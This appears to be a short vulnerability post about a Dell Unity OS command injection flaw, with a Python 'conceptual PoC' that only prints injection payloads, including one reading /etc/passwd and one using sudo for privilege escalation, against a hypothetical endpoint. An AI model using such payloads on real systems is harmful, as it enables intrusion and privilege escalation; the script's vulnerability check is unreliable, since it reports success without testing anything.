CVE-2025-43942: Dell Unity OS命令注入漏洞导致本地权限提升

# CVE-2025-43942 PoC - Dell Unity OS Command Injection # Note: This is a conceptual PoC for educational purposes only # Actual exploitation requires proper authentication and target verification import requests import subprocess import sys def check_vulnerability(target_ip, username, password): """ Check if target Dell Unity system is vulnerable to CVE-2025-43942 """ print(f"[*] Checking Dell Unity {target_ip} for CVE-2025-43942...") # Login to Dell Unity system login_url = f"https://{target_ip}/api/instances/login" login_data = { "username": username, "password": password } try: # Note: Actual implementation requires proper API endpoints # and authentication mechanisms specific to Dell Unity print(f"[+] Authenticating with low-privilege account...") # Example command injection payload # In real scenario, this would be sent through vulnerable parameter malicious_payload = "; cat /etc/passwd;" # Vulnerable endpoint example (hypothetical) # vulnerable_url = f"https://{target_ip}/api/v2/system/diagnostics" # params = {"command": malicious_payload} print(f"[!] Sending command injection payload: {malicious_payload}") print(f"[+] If vulnerable, /etc/passwd contents will be exposed") # For privilege escalation demonstration priv_esc_payload = "; sudo su -c 'whoami > /tmp/pwned';" print(f"[!] Privilege escalation payload: {priv_esc_payload}") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] check_vulnerability(target, user, pwd)